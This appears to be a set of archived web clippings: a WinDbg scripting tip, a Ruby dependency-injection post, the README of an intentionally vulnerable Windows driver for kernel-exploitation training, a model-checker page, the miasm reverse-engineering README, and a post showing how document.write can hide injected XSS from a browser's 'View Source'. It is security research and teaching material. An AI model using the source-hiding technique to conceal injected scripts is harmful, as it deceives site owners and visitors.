\(with a rather unwieldy and convoluted syntax, unfortunately\); the debugger
documentation runs through the gamut of the other capabilities.

The final part of this command string is the output command, which simply
directs the debugger to set the current context to the input command output
replacement macro’s value at an offset of 0×8c. \(If one recalls, 0×8c is the
offset from the start of a _struct \_CONTEXT_ to the _SegGs_ member, which is
the first value we search for; as a result, the addresses returned by the “
_s_ ” command will be the address of the _SegGs_ member.\) Remember that we
restricted the output of the “ _s_ ” command to just being the address itself,
which lets us easily pass that on to a different command \(which might give
one the idea that the “ _s_ ” and “ _.foreach_ ” commands were made to work
together\).

Putting the command string together, it directs the debugger to search for a
sequence of four 32-bit values \(the _gs_ , _fs_ , _es_ , and _ds_ segment
selector values for the current thread\) in contiguous memory, and display the
containing CONTEXT structure for each match.

You may find some other CONTEXT records aside from exception-related ones
while executing this comamnd \(in particular, initial thread contexts are
common\), but the ones related to a fault are usually pretty obvious and self-
evident. Of course, this method isn’t foolproof, but it lets the debugger do
some of the hard work for you \(which beats manually groveling in corrupted
stacks across multiple threads just to pull out some CONTEXT records\).

Naturally, there are a number of other uses for both the “ _.foreach_ ” and “
_s_ ” commands; don’t be afraid to experiment with them. There are other
helpers for automating certain tasks \(_\!for\_each\_frame_ ,
_\!for\_each\_local_ , _\!for\_each\_module_ , _\!for\_each\_process_ , and
_\!for\_each\_thread_ , to name a few\) too, aside from the general “
_.foreach_ “. The debugger scripting support might not be the prettiest to
look at, but it can be quite handy at speeding up common, repetitive tasks.

One parting tip with “ _.foreach_ ” \(well, actually two parting tips\): The
variable replacement macro only works if you separate it from other symbols
with a space. This can be a problem in some cases \(where you need to perform
some arithmetic on the resulting expanded macro in particular, such as
subtracting 0×8c in this case\), however, as the spaces remain when the macro
symbol is expanded. Some commands, such as “ _dt_ “, don’t follow the standard
expression parsing rules \(much to my eternal irritation\), and choke if
they’ve given arguments with spaces.

All is not lost for these commands, however; one way to work around this issue
is to store the macro replacement into a pseudo-register \(say, “ _r @$t0 =
ReplacementVariableMacro – 0×8c_ “\) and use that pseudo-register in the
actual output command, as you can issue multiple, semi-colon delimited
commands in the output commands section.

Tags: Debugging, Debugging tips

# Dependency Injection In Ruby

**Created:**| _11/21/2011 9:16:59 AM_  
---|---  
**Updated:**| _11/21/2011 9:16:59 AM_  
**Author:**| __  
**Tags:**| _ruby programming_  
  

# Dependency Injection In Ruby

19 November 2011

Lately I've been using a lot of DI in a big enterprise application as a way to
satisfy different customers needs. Application is being used in couple of
different countries and it is tailor made to match specific needs and specific
regulation laws. It's being developed by three dislocated teams and since it's
written in .NET 100% I think it was the right way to go. That got me wondering
if the similar setup would be needed in Ruby world. I've noticed a couple of
blog posts claiming that you don't need the DI since Ruby is so malleable. I
am afraid that I don't agree with that. I do agree with Jamis Buck that it is
generally a bad idea to speculate about where you will need DI, and to put
infrastructure up front for it.

If you are unsure what a dependency injection is take a look at the example
below.

[code]

    class Customer
      def initialize(id)
        @id = id
      end
    
      def tax_code
        "US-#{@id}"
      end
    end
    
    print Customer.new(123456).tax_code
    
[/code]

If you follow the SRP principle you'll extract the code for tax code
calculation in different class which is responsible for it

[code]

    class TaxCode
      def self.generate(id)
        "US-#{id}"
      end
    end
    
    #change in Customer
    class Customer
      ...
      def tax_code
        TaxCode.generate(@id)
      end
    end
    
    print Customer.new(123456).tax_code
    
[/code]

So far, so good. I urge you never to speculate whether you'll need dependency
injection. Why? Because it is really easy to add later on if the need arises.
As Avdi Grimm says in his Objects on Rails

> Much like premature optimization, premature change management usually misses
> the mark
Now let imagine our application is a smashing success and we are selling in
Brazil also. They have a bit different algorithm for tax\_code:

[code]

    class BrazilianTaxCode
      def self.generate(id)
        "#{id + 9}-BRA"
      end
    end
    
[/code]

We can panic and add tax\_code\_brazilian to the Customer

[code]

    class Customer
      ...
      def tax_code_brazilian
        TaxCodeBrazilian.generate(@id)
      end
    end
    
[/code]

We could add type param, and that is probably what I would do if I only had
two customers.

[code]

    class Customer
      ...
      def tax_code(type=:us)
        return TaxCode.generate(@id) if type == :us
        TaxCodeBrazilian.generate(@id)
      end
    end
    
[/code]

Dependency injection pattern helps when methods like the one above begin to
get out of hands. This is how you can do it:

[code]

    class Customer
      attr_writter :tax_code
    
      def tax_code(id)
        tax_code.generate(id)
      end
    
    end
    
    c = Customer.new(123456)
    c.tax_code = BrazilianTaxCode
    print c.tax_code
    
[/code]

Basically you just postpone the decision of what tax\_code generator is going
to be used. It is also beneficial as a way to decouple Customer from TaxCode
generators, since Customer doesn't event know the type of the generator it
will use. In real world this also eases up testing in isolation.

Variation on a theme would be setting generator on initialize:

[code]

    class Customer
      def initialize(tax_code = TaxCode)
        @tax_code = tax_code
      end
    
      def tax_code
        @tax_code.generate(@id)
      end
    
[/code]

You may want some kind of configuration so you don't need to create factory
and/or think about it. I think this would be the easiest way to accomplish
that:

[code]

    @@settings = { tax_code:BrazilianTaxCode}
    
    class Customer
      def tax_code
        @@settings[:tax_code].generate(@id)
      end
    end
    
[/code]

Let's develop it some more to make it somewhat more appealing:

[code]

    class Configuration
      @settings = {}
      def self.register(attributes)
        attributes.each { |k,v| @settings[k] = v }
      end
    
      def self.[](key)
        @settings[key]
      end
    end
    
    #registration
    Configuration.register(tax_code_generator:BrazilianTaxCode) 
    
    class Customer
      def tax_code
        Configuration[:tax_code].generate(@id)
      end
    end
    
[/code]

Why stop there, we can easily use Ruby glorious block syntax:

[code]

    class Configuration 
      @settings = {}
      def self.register(&block)
        block.call(self)
      end
    
      def self.tax_code_generator=(value)
        @settings[:tax_code_generator] = value
      end
    
      def self.method_missing(m)
        @settings[m]
      end
    end
    
    #registration
    Configuration.register do |config|
      config.tax_code_generator = BrazilianTaxCode
    end
    
[/code]

Now I know we are onto something because this is exactly how it's done all
over the various Ruby gems.

Couple of iterations later I've ended up with this syntax for my DI container.
I've also renamed it to Implementation since it is bound to different
implementations, so it kinda makes more sense:

[code]

    Implementation.setup do |i|
      i.tax_code = :brazilian_tax_code
    end
    
    class Customer
      ...
      def tax_code
        Implementation.tax_code.generate(@id)
      end
    end
    
    print Customer.new(123456).tax_code
    
[/code]

Container enables me to easily add custom injectable objects when the need
arises. It gives me peace of mind not to speculate up front what needs to be
extendible, and I would argue it makes code more pleasable in case of lots of
different implementation variants.

For a conclusion I can say:

> We don't need heavy dependency injection framework in Ruby, but we sure need
> the idea of inversion of control. The fact that it is so easy to do is a
> reason that we don't need framework \(and also the reason why I love Ruby so
> much\).
If you are interested here are the whole 13 lines of DI container that is even
semi usable. I apologize for my Ruby skills up front and am open for
suggestions :\)

[code]

    require 'active_support/core_ext/string'
    class Implementation 
      @settings = {}
      def self.setup(&block)
        block.call(self)
      end
      def self.method_missing(m, *args, &block)
        m = m.to_s.gsub('=','')
        @settings[m] = args[0] if args.size == 1
        #notice the new, I can now loose self in generators
        @settings[m].to_s.camelize.constantize.new  
      end
    end
    
[/code]

Of course in Ruby there is alternative to this. You can put different
implementations for different customers in "customer" folder, and monkey patch
the behaviour that needs to be different. I don't find that approach superior
to the one listed above. I like to be explicit about what is pluggable in case
I get the urge to refactor yet another time. Also monkey patching and playing
with load paths forces you to develop in "customer" folder and I think you are
better of developing in "feature" folder. The bigger the project and the
bigger the team is the harder it is to know exactly what algorithms you have
supported so far. Having them all in one folder named after the feature really
helps a lot.

## Related Posts

  * 11 Oct 2011 » Speed comparison \(Haskell, Ruby, Python, CLISP\)
  * 03 Sep 2011 » Sub-second RSpec Testing
  * 19 Aug 2011 » Smalltalk, Lisp, Ruby Comparison - The Return of the Prodigal Son

# hacksysteam/HackSysExtremeVulnerableDriver

**Created:**| _5/28/2015 11:48:24 AM_  
---|---  
**Updated:**| _5/28/2015 11:48:24 AM_  
**Author:**| __  
**Tags:**| _howto Driver_  
  

# HackSys Extreme Vulnerable Driver

[code]

               ooooo   ooooo oooooooooooo oooooo     oooo oooooooooo.   
               `888'   `888' `888'     `8  `888.     .8'  `888'   `Y8b  
                888     888   888           `888.   .8'    888      888 
                888ooooo888   888oooo8       `888. .8'     888      888 
                888     888   888    "        `888.8'      888      888 
                888     888   888       o      `888'       888     d88' 
               o888o   o888o o888ooooood8       `8'       o888bood8P'   
    
[/code]

* * *
**HackSys Extreme Vulnerable Driver** is **intentionally** vulnerable
**Windows** driver developed for security enthusiasts to learn and polish
their exploitation skills at **Kernel** level.

**HackSys Extreme Vulnerable Driver** caters wide range of vulnerabilities
ranging from simple `Buffer Overflows` to complex `Use After Frees` and `Pool
Overflows`. This allows the researchers to explore the exploitation techniques
for every implemented vulnerabilities.

## Blog Post

http://www.payatu.com/hacksys-extreme-vulnerable-driver/

## Screenshots

<img src='img/Temp2_10297.png' alt='Driver Banner' />

<img src='img/Temp2_10296.png' alt='Exploitation' />

<img src='img/Temp2_10298.png' alt='Driver Debug Print' />

## Author

> **Ashfaq Ansari**
> ashfaq\[at\]payatu\[dot\]com
> **@HackSysTeam | Blog | null**
> http://www.payatu.com/
## Vulnerabilities Implemented

  * **Pool Overflow**
  * **Use After Free**
  * **Type Confusion**
  * **Stack Overflow**
  * **Integer Overflow**
  * **Stack Overflow GS**
  * **Arbitrary Overwrite**
  * **Null Pointer Dereference**

## Building Driver

  1. Install Windows Driver Kit
  2. Change `%localSymbolServerPath%` in `Build_HEVD_Secure.bat` and `Build_HEVD_Vulnerable.bat` driver builder
  3. Run the appropriate driver builder `Build_HEVD_Secure.bat` or `Build_HEVD_Vulnerable.bat`

## Installing Driver

Use **OSR Driver Loader** to install **HackSys Extreme Vulnerable Driver**

## Testing

The **HackSys Extreme Vulnerable Driver** and the respective exploits have
been tested on **Windows 7 SP1 x86**

## Presentations

Presentation will be uploaded `soon`.

## Sessions Conducted

## Workshops Conducted

  1. Test the Driver on Windows 8.1/10 x64
  2. Add the exploit support for Windows 8.1/10 x64
  3. Add `Use Of Uninitialized Variable` Vulnerability
  4. Add `Memory Disclosure` Vulnerability
  5. Add `Time-Of-Check-To-Time-Of-Use` \(**TOCTTU/Race Condition**\) Vulnerability
  6. Refactor and Cleanup the driver and exploit source code

## License

Please see the file `LICENSE` for copying permission

## Contribution Guidelines

Please see the file `CONTRIBUTING.md` for contribution guidelines

## Bug Report

Please file any bug report via GitHub Issue Tracker at the below given
address: https://github.com/hacksysteam/HackSysExtremeVulnerableDriver/issues

* * *
http://hacksys.vfreaks.com

# Zing - Microsoft Research

**Created:**| _12/7/2012 1:13:38 PM_  
---|---  
**Updated:**| _12/7/2012 1:13:38 PM_  
**Author:**| __  
**Tags:**| _Practical Software Verification papers solver modeling_  
  
  

Zing

The goal of the Zing project is to build a flexible and scalable systematic
state space exploration infrastructure for software.

<img src='img/Temp2_10050.jpg' width='227' height='116' />  

Zing is a software model checking project at Microsoft Research. Our goal is
to build a flexible and scalable systematic state space exploration
infrastructure for software. This infrastructure includes novel algorithms,
and a modular software architecture, to push the frontier on exploring large
state spaces of software. We believe that such an infrastructure can be used
for verifying and finding bugs in software at various levels: high-level
protocol descriptions, work-flow specifications, web services, device drivers,
and protocols in the core of the operating system.

# Downloads

\(Downloads for non-commercial research use only, see EULA for details\). This
version of Zing has a dependency on Visual Studio .NET, which is available to
students and faculty in universities via the academic licensing program . Zing
releases for various VS.NET versions are available below:

  * **_Zing model checker for VS.NET 2008_******
  * ** _**_Zing model checker for VS.NET 2005_**_**** __**

**_Zing language specification_** Overview, Examples, and reference manual for
the Zing language \(Word, PDF\)

**_Zing user manual_** User guide for getting started with the Zing model
checker \(Word, PDF\)

# Papers

The following two papers give a broad overview of Zing.

  * T. Andrews, S. Qadeer, S. K. Rajamani, J. Rehof, and Y. Xie, **Zing: Exploiting Program Structure for Model Checking Concurrent Software** , _in CONCUR 2004.postscriptpdf_
  * T. Andrews, S. Qadeer, S. K. Rajamani, J. Rehof, and Y. Xie, **Zing: A Model Checker for Concurrent Software** , _MSR Technical Report: MSR-TR-2004-10._postscriptpdf

Zing uses transaction-based reduction. In transaction based reduction \(as in
other forms of partial order reduction\), we need to avoid delaying scheduling
a thread indefinitely, if we want the reduction to be sound. The following
paper presents a new technique called Commit Point Completion to solve this
problem.

  * V. Levin, R. Palmer, S. Qadeer and S. K. Rajamani, **Sound Transaction-based Reduction Without Cycle Detection** , _MSR Technical Report: MSR-TR-2005-40._available here

Zing uses procedure summaries to do modular analysis. One of the novel aspects
of Zing is its ability to use procedure summaries both in the presence of
pointers and concurrency. The following two papers describe these techniques.

  * S. Qadeer and S. K. Rajamani, **Deciding Assertions in Programs with References** , _MSR Technical Report: MSR-TR-2005-08._available here
  * S. Qadeer, S. K. Rajamani, and J. Rehof, **Summarizing Procedures in Concurrent Programs** , _in POPL 2004.postscriptpdf_

Zing uses heap canonicalization to do symmetry-reduction on the heap. We have
invented a new method to canonicalize the heap incrementally, as the model
checker makes transitions from states. The following paper gives details of
this technique.

  * M. Musuvathi and D. Dill, **An Incremental Heap Canonicalization Algorithm** , _MSR Technical Report: MSR-TR-2005-37._available here

Zing uses a new theory of stuck-free conformance to do compositional checking
of message passing programs. The following papers describe this theory.

  * C. Fournet, C. A. R. Hoare, S. K. Rajamani, and J. Rehof, **Stuck-free Conformance** ,_in CAV 2004.postscriptpdf_
  * C. Fournet, C. A. R. Hoare, S. K. Rajamani, and J. Rehof, **Stuck-free Conformance Theory for CCS** ,_MSR Technical Report: MSR-TR-2004-69._available here

# Presentations

  * **_Zing: Exploiting Program Structure for Model Checking Concurrent Software_**presented at CONCUR 2004. 
  * **_Zing: A Systematic State Explorer for Concurrent Software_**a slide-deck with an overview of the entire project 
  * **_Summarizing Procedures in Concurrent Programs_**presented at Dagstuhl Seminar on Applied Deductive Verification 2003
  * ** _Summarizing Procedures in Concurrent Programs_** presented at ACM Symposium on Principles of Programming Languages, 2004

# People

  * Full-time Staff:
  * Tony Andrews
  * Madan Musuvathi 
  * Shaz Qadeer 
  * Sriram K. Rajamani 
  * Jakob Rehof 
  * Friends:
  * Vlad Levin
  * Summer Interns 2003:
  * Abhay Gupta
  * Georg Weissenbacher
  * Yichen Xie
  * Summer Interns 2004:
  * Mayur Naik
  * Robert Palmer
  * Dinghao Wu

# Contact Zing

Please send inquiries about the Zing project tozing _at_ microsoft _dot_ com

  

# cea-sec/miasm

**Created:**| _4/28/2015 3:51:23 PM_  
---|---  
**Updated:**| _4/28/2015 3:51:23 PM_  
**Author:**| __  
**Tags:**| _reversing framework_  
  

# What is Miasm?

Miasm is a free and open source \(GPLv2\) reverse engineering framework. Miasm
aims to analyze / modify / generate binary programs. Here is a non exhaustive
list of features:

  * Opening / modifying / generating PE / ELF 32 / 64 LE / BE using Elfesteem
  * Assembling / Disassembling X86 / ARM / MIPS / SH4 / MSP430
  * Representing assembly semantic using intermediate language
  * Emulating using JIT \(dynamic code analysis, unpacking, ...\)
  * Expression simplification for automatic de-obfuscation

#  Basic examples

##  Assembling / Disassembling

Import Miasm x86 architecture:

[code]

    >>> from miasm2.arch.x86.arch import mn_x86
    
[/code]

Assemble a line:

[code]

    >>> l = mn_x86.fromstring('XOR ECX, ECX', 32)
    >>> print l
    XOR        ECX, ECX
    >>> mn_x86.asm(l)
    ['1\xc9', '3\xc9', 'g1\xc9', 'g3\xc9']
    
[/code]

Modify an operand:

[code]

    >>> l.args[0] = mn_x86.regs.EAX
    >>> print l
    XOR        EAX, ECX
    >>> a = mn_x86.asm(l)
    >>> print a
    ['1\xc8', '3\xc1', 'g1\xc8', 'g3\xc1']
    
[/code]

Disassemble the result:

[code]

    >>> print mn_x86.dis(a[0], 32)
    XOR        EAX, ECX
    
[/code]

Using `Machine` abstraction:

[code]

    >>> from miasm2.analysis.machine import Machine
    >>> mn = Machine('x86_32').mn
    >>> print mn.dis('\x33\x30', 32)
    XOR        ESI, DWORD PTR [EAX]
    
[/code]

For Mips:

[code]

    >>> mn = Machine('mips32b').mn
    >>> print  mn.dis('97A30020'.decode('hex'), "b")
    LHU        V1, 0x20(SP)
    
[/code]

##  Intermediate representation

Create an instruction:

[code]

    >>> machine = Machine('arml')
    >>> l = machine.mn.dis('002088e0'.decode('hex'), 'l')
    >>> print l
    ADD        R2, R8, R0
    
[/code]

Create an intermediate representation \(IR\) object:

[code]

    >>> ira = machine.ira()
    
[/code]

Add instruction to the pool:

[code]

    >>> ira.add_instr(l)
    
[/code]

Print current pool:

[code]

    >>> for lbl, b in ira.blocs.items():
    ...     print b
    ...
    loc_0000000000000000:0x00000000
    
            R2 = (R8+R0)
    
            IRDst = loc_0000000000000004:0x00000004
    
[/code]

Working with IR, for instance by getting side effects:

[code]

    >>> from miasm2.expression.expression import get_rw
    >>> for lbl, b in ira.blocs.items():
    ...     for irs in b.irs:
    ...         o_r, o_w = get_rw(irs)
    ...         print 'read:   ', [str(x) for x in o_r]
    ...         print 'written:', [str(x) for x in o_w]
    ...         print
    ... 
    read:    ['R8', 'R0']
    written: ['R2']
    
    read:    ['loc_0000000000000004:0x00000004']
    written: ['IRDst']
    
[/code]

##  Emulation

Giving a shellcode:

[code]

    00000000 8d4904      lea    ecx, [ecx+0x4]
    00000003 8d5b01      lea    ebx, [ebx+0x1]
    00000006 80f901      cmp    cl, 0x1
    00000009 7405        jz     0x10
    0000000b 8d5bff      lea    ebx, [ebx-1]
    0000000e eb03        jmp    0x13
    00000010 8d5b01      lea    ebx, [ebx+0x1]
    00000013 89d8        mov    eax, ebx
    00000015 c3          ret
    >>> s = '\x8dI\x04\x8d[\x01\x80\xf9\x01t\x05\x8d[\xff\xeb\x03\x8d[\x01\x89\xd8\xc3'
    
[/code]

Import the shellcode thanks to the `Container` abstraction:

[code]

    >>> from miasm2.analysis.binary import Container
    >>> c = Container.from_string(s)
    >>> c
    <miasm2.analysis.binary.ContainerUnknown object at 0x7f34cefe6090>
    
[/code]

Disassembling the shellcode at address `0`:

[code]

    >>> from miasm2.analysis.machine import Machine
    >>> machine = Machine('x86_32')
    >>> mdis = machine.dis_engine(c.bin_stream)
    >>> blocs = mdis.dis_multibloc(0)
    >>> for b in blocs:
    ...  print b
    ...
    loc_0000000000000000:0x00000000
    LEA        ECX, DWORD PTR [ECX+0x4]
    LEA        EBX, DWORD PTR [EBX+0x1]
    CMP        CL, 0x1
    JZ         loc_0000000000000010:0x00000010
    ->      c_next:loc_000000000000000B:0x0000000b  c_to:loc_0000000000000010:0x00000010
    loc_0000000000000010:0x00000010
    LEA        EBX, DWORD PTR [EBX+0x1]
    ->      c_next:loc_0000000000000013:0x00000013
    loc_000000000000000B:0x0000000b
    LEA        EBX, DWORD PTR [EBX+0xFFFFFFFF]
    JMP        loc_0000000000000013:0x00000013
    ->      c_to:loc_0000000000000013:0x00000013
    loc_0000000000000013:0x00000013
    MOV        EAX, EBX
    RET
    >>>
    
[/code]

Initializing the Jit engine with a stack:

[code]

    >>> jitter = machine.jitter(jit_type='python')
    >>> jitter.init_stack()
    
[/code]

Add the shellcode in an arbitrary memory location:

[code]

    >>> run_addr = 0x40000000
    >>> myjit.vm.add_memory_page(run_addr, PAGE_READ | PAGE_WRITE, s)
    
[/code]

Create a sentinelle to catch the return of the shellcode:

[code]

    def code_sentinelle(jitter):
        jitter.run = False
        jitter.pc = 0
        return True
    
    >>> jitter.add_breakpoint(0x1337beef, code_sentinelle)
    >>> jitter.push_uint32_t(0x1337beef)
    
[/code]

Active logs:

[code]

    >>> jitter.jit.log_regs = True
    >>> jitter.jit.log_mn = True
    
[/code]

Run at arbitrary address:

[code]

    >>> jitter.init_run(run_addr)
    >>> jitter.continue_run()
    RAX 0000000000000000 RBX 0000000000000000 RCX 0000000000000000 RDX 0000000000000000
    RSI 0000000000000000 RDI 0000000000000000 RSP 000000000123FFF8 RBP 0000000000000000
    zf 0000000000000000 nf 0000000000000000 of 0000000000000000 cf 0000000000000000
    RIP 0000000040000000
    40000000 LEA        ECX, DWORD PTR [ECX+0x4]
    RAX 0000000000000000 RBX 0000000000000000 RCX 0000000000000004 RDX 0000000000000000
    RSI 0000000000000000 RDI 0000000000000000 RSP 000000000123FFF8 RBP 0000000000000000
    zf 0000000000000000 nf 0000000000000000 of 0000000000000000 cf 0000000000000000
    ....
    4000000e JMP        loc_0000000040000013:0x40000013
    RAX 0000000000000000 RBX 0000000000000000 RCX 0000000000000004 RDX 0000000000000000
    RSI 0000000000000000 RDI 0000000000000000 RSP 000000000123FFF8 RBP 0000000000000000
    zf 0000000000000000 nf 0000000000000000 of 0000000000000000 cf 0000000000000000
    RIP 0000000040000013
    40000013 MOV        EAX, EBX
    RAX 0000000000000000 RBX 0000000000000000 RCX 0000000000000004 RDX 0000000000000000
    RSI 0000000000000000 RDI 0000000000000000 RSP 000000000123FFF8 RBP 0000000000000000
    zf 0000000000000000 nf 0000000000000000 of 0000000000000000 cf 0000000000000000
    RIP 0000000040000013
    40000015 RET        
    >>> 
    
    
[/code]

Interacting with the jitter:

[code]

    >>> jitter.vm.dump_memory_page_pool()
    ad 1230000 size 10000 RW_ hpad 0x2854b40
    ad 40000000 size 16 RW_ hpad 0x25e0ed0
    
    >>> hex(jitter.cpu.EAX)
    '0x0L'
    >>> jitter.cpu.ESI = 12
    
[/code]

##  Symbolic execution

Initializing the IR pool:

[code]

    >>> ira = machine.ira()
    >>> for b in blocs:
    ...    ira.add_bloc(b)
    ... 
    
[/code]

Initializing the engine with default symbolic values:

[code]

    >>> from miasm2.ir.symbexec import symbexec
    >>> sb = symbexec(ira, machine.mn.regs.regs_init)
    
[/code]

Launching the execution:

[code]

    >>> symbolic_pc = sb.emul_ir_blocs(ira, 0)
    >>> print symbolic_pc
    ((ECX_init+0x4)[0:8]+0xFF)?(0xB,0x10)
    
[/code]

Same, with step logs \(only changes are displayed\):

[code]

    >>> sb = symbexec(ira, machine.mn.regs.regs_init)
    >>> symbolic_pc = sb.emul_ir_blocs(ira, 0, step=True)
    ________________________________________________________________________________
    ECX (ECX_init+0x4)
    ________________________________________________________________________________
    ECX (ECX_init+0x4)
    EBX (EBX_init+0x1)
    ________________________________________________________________________________
    zf ((ECX_init+0x4)[0:8]+0xFF)?(0x0,0x1)
    nf ((ECX_init+0x4)[0:8]+0xFF)[7:8]
    pf (parity ((ECX_init+0x4)[0:8]+0xFF))
    of ((((ECX_init+0x4)[0:8]+0xFF)^(ECX_init+0x4)[0:8])&((ECX_init+0x4)[0:8]^0x1))[7:8]
    cf (((((ECX_init+0x4)[0:8]+0xFF)^(ECX_init+0x4)[0:8])&((ECX_init+0x4)[0:8]^0x1))^((ECX_init+0x4)[0:8]+0xFF)^(ECX_init+0x4)[0:8]^0x1)[7:8]
    af (((ECX_init+0x4)[0:8]+0xFF)&0x10)?(0x1,0x0)
    ECX (ECX_init+0x4)
    EBX (EBX_init+0x1)
    ________________________________________________________________________________
    IRDst ((ECX_init+0x4)[0:8]+0xFF)?(0xB,0x10)
    zf ((ECX_init+0x4)[0:8]+0xFF)?(0x0,0x1)
    nf ((ECX_init+0x4)[0:8]+0xFF)[7:8]
    pf (parity ((ECX_init+0x4)[0:8]+0xFF))
    of ((((ECX_init+0x4)[0:8]+0xFF)^(ECX_init+0x4)[0:8])&((ECX_init+0x4)[0:8]^0x1))[7:8]
    cf (((((ECX_init+0x4)[0:8]+0xFF)^(ECX_init+0x4)[0:8])&((ECX_init+0x4)[0:8]^0x1))^((ECX_init+0x4)[0:8]+0xFF)^(ECX_init+0x4)[0:8]^0x1)[7:8]
    af (((ECX_init+0x4)[0:8]+0xFF)&0x10)?(0x1,0x0)
    EIP ((ECX_init+0x4)[0:8]+0xFF)?(0xB,0x10)
    ECX (ECX_init+0x4)
    EBX (EBX_init+0x1)
    
[/code]

Retry execution with a concrete ECX. Here, the symbolic / concolic execution
reach the shellcode's end:

[code]

    >>> from miasm2.expression.expression import ExprInt32
    >>> sb.symbols[machine.mn.regs.ECX] = ExprInt32(-3)
    >>> symbolic_pc = sb.emul_ir_blocs(ira, 0, step=True)
    ________________________________________________________________________________
    ECX 0x1
    ________________________________________________________________________________
    ECX 0x1
    EBX (EBX_init+0x1)
    ________________________________________________________________________________
    zf 0x1
    nf 0x0
    pf 0x1
    of 0x0
    cf 0x0
    af 0x0
    ECX 0x1
    EBX (EBX_init+0x1)
    ________________________________________________________________________________
    IRDst 0x10
    zf 0x1
    nf 0x0
    pf 0x1
    of 0x0
    cf 0x0
    af 0x0
    EIP 0x10
    ECX 0x1
    EBX (EBX_init+0x1)
    ________________________________________________________________________________
    IRDst 0x10
    zf 0x1
    nf 0x0
    pf 0x1
    of 0x0
    cf 0x0
    af 0x0
    EIP 0x10
    ECX 0x1
    EBX (EBX_init+0x2)
    ________________________________________________________________________________
    IRDst 0x13
    zf 0x1
    nf 0x0
    pf 0x1
    of 0x0
    cf 0x0
    af 0x0
    EIP 0x10
    ECX 0x1
    EBX (EBX_init+0x2)
    ________________________________________________________________________________
    IRDst 0x13
    zf 0x1
    nf 0x0
    pf 0x1
    of 0x0
    cf 0x0
    af 0x0
    EIP 0x10
    EAX (EBX_init+0x2)
    ECX 0x1
    EBX (EBX_init+0x2)
    ________________________________________________________________________________
    IRDst @32[ESP_init]
    zf 0x1
    nf 0x0
    pf 0x1
    of 0x0
    cf 0x0
    af 0x0
    EIP @32[ESP_init]
    EAX (EBX_init+0x2)
    ECX 0x1
    EBX (EBX_init+0x2)
    ESP (ESP_init+0x4)
    >>> print symbolic_pc
    @32[ESP_init]
    >>> sb.dump_id()
    IRDst @32[ESP_init]
    zf 0x1
    nf 0x0
    pf 0x1
    of 0x0
    cf 0x0
    af 0x0
    EIP @32[ESP_init]
    EAX (EBX_init+0x2)
    ECX 0x1
    EBX (EBX_init+0x2)
    ESP (ESP_init+0x4)
    
[/code]

#  How does it work?

Miasm embeds its own disassembler, intermediate language and instruction
semantic. It is written in Python.

To emulate code, it uses LibTCC, LLVM or Python to JIT the intermediate
representation. It can emulate shellcodes and all or parts of binaries. Python
callbacks can be executed to interact with the execution, for instance to
emulate library functions effects.

#  Documentation

#  Obtaining Miasm

  * Clone the repository: Miasm on GitHub
  * Get one of the Docker images at Docker Hub

##  Software requirements

Miasm uses:

  * LibTCC tinycc to JIT code for emulation mode. See below
  * or LLVM v3.2 with python-llvm, see below
  * python-pyparsing
  * python-dev
  * elfesteem from Elfesteem

##  Configuration

  * Install elfesteem

[code]

    hg clone https://code.google.com/p/elfesteem/
    cd elfesteem_directory
    python setup.py build
    sudo python setup.py install
    
[/code]

  * To use the jitter, TCC or LLVM is recommended
  * LibTCC needs to be configured with the `--disable-static` option 
    * remove `libtcc-dev` from the system to avoid conflicts
    * clone TinyCC and use latest stable version
    * `./configure --disable-static && make && make install`
  * LLVM 
    * Debian \(testing/unstable\): install python-llvm
    * Debian stable/Ubuntu/Kali/whatever: install from llvmpy
    * Windows: python-llvm is not supported :/
  * Build and install Miasm:

[code]

    $ cd miasm_directory
    $ python setup.py build
    $ sudo python setup.py install
    
[/code]

If something goes wrong during one of the jitter modules compilation, Miasm
will skip the error and disable the corresponding module \(see the compilation
output\).

##  Windows & IDA

Most of Miasm's IDA plugins use a subset of Miasm functionnality. A quick way
to have them working is to add:

  * `elfesteem` directory and `pyparsing.py` to `C:\...\IDA\python\` or `pip install pyparsing elfesteem`
  * `miasm2/miasm2` directory to `C:\...\IDA\python\`

All features excepting JITter related ones will be available. For a more
complete installation, please refer to above paragraphs.

#  Testing

Miasm comes with a set of regression tests. To run all of them:

[code]

    cd miasm_directory/test
    python test_all.py
    
[/code]

Some options can be specified:

  * Mono threading: `-m`
  * Code coverage instrumentation: `-c`
  * Only fast tests: `-t long` \(excludes the long tests\)

#  They already use Miasm

  * Sibyl: A function divination tool

  * Man, does miasm has a link with rr0d?
  * Yes\! crappy code and uggly documentation.

# Original Source Forgery « Thoughts on Security

**Created:**| _9/8/2011 11:32:24 PM_  
---|---  
**Updated:**| _9/8/2011 11:32:24 PM_  
**Author:**| __  
**Tags:**| _web-app-sec browser_  
  

## Original Source Forgery

  

If you were looking for vulnerabilities on a website, you might open up the
original page source looking for commented-out code, javascript source, hidden
forms, etc. If you suspected an XSS attack on your own site, chances are you
might right-click on the page and view source to check for unwanted scripts.
If you needed to register for CTP, hack this site, or read the snarky comments
in the HTML of www.defcon.org, you would probably need to view the page
source.  

<img src='img/Temp2_5980.png' width='327' height='28' alt='Waiting for
i.cdn.turner.com...' />

If your browser was "Waiting for crimepack.com..." on your site, you might
check the source for XSS

This is all based on your assumption that when you right-click on the page and
select “View Source” the text you see is the HTML source that the server sent
to your browser when it requested the URL in your address bar. Unfortunately
if you assumed this, you would be wrong. Like me; I always expected that
Javascript method calls could only change the appearance of the page, like DOM
manipulation, and the “Original Source” window would display the original
source of the page. Silly me\!

When you use document.write outside of a script tag embedded inline in the
page, it replaces the current document content with the new content, which
becomes active when document.close is called. This is normal, documented
behavior. Surprisingly, at this point if you right-click on the page and click
view source in Internet Explorer, it will show the new content, not the old
content. And it still displays the original page URL\! The original page
source has effectively changed.

This technique could be used in any of the above scenarios. For example, in a
persistent or type 2 cross site scripting attack, the ability to erase the
injected script tags from the page would be very convenient. To see this in
action, visit the basic page \(normal\) and compare to the new page \(obvious
XSS\) or the alt page \(hidden XSS – adds an iframe\) In Win7+IE8, this is
what you see:  
<img src='img/Temp2_5981.png' width='613' height='333' alt='Script not visible
in IE' />  
If you can find the javascript in the “Original Source” in that screenshot,
see a specialist, because it is not there. IE is the worst of the browsers
here, because there is no visible indication that the source has been changed.
It lies and says that the displayed source is the source of the URL you
visited. In reality, it could have been pulled or generated from anywhere.

I have not seen this behavior documented, but I assume it is not a secret
among browser developers. For example, let’s see how this page looks in
Firefox:  
<img src='img/Temp2_5979.png' width='616' height='274' alt='Script not visible
in Firefox' />  
Once again, the script has been erased from the page, the address in the
browser bar is unchanged, no popup windows have been opened, etc. However
there is one small difference, the address in the title bar of the source
